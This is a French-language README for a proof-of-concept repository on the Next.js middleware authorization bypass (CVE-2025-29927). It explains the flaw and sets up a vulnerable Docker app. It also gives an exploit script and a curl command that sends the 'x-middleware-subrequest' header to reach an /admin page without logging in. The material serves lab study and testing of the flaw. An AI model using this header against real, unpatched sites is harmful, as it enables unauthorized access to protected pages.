
Recherche sur la vulnérabilité du middleware Next.js (CVE-2025-29927) permettant un contournement d'autorisation et des exploits potentiels.
Ce dépôt démontre une vulnérabilité critique dans le middleware Next.js (CVE-2025-29927), qui affecte les versions 11.1.4 à 15.1.7. Cette vulnérabilité permet un contournement de l'autorisation, un contournement de la CSP, et d'éventuelles attaques DoS par empoisonnement du cache. Le problème provient de la manière dont l'en-tête x-middleware-subrequest est géré, permettant aux attaquants de contourner les mécanismes de protection du middleware.
Cette preuve de concept est spécifique à la vulnérabilité dans v12
Configurez l'environnement vulnérable à l'aide de Docker et des fichiers de ce dépôt en exécutant :
git clone https://github.com/l1uk/nextjs-middleware-exploit.git
cd nextjs-middleware-exploit
docker build -t my-next-app .
docker run -p 3000:3000 my-next-app
Ce dépôt contient déjà le script exploit.sh créé pour tester l'exploitation de la vulnérabilité. Pour le tester, exécutez :
chmod +x exploit.sh
./exploit.sh
De plus, vous pouvez tester l'exploitation de la vulnérabilité en essayant ce qui suit :
login.curl -i http://localhost:3000/admin
x-middleware-subrequest. Vous devriez pouvoir contourner la page d'authentification.curl -i -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/admin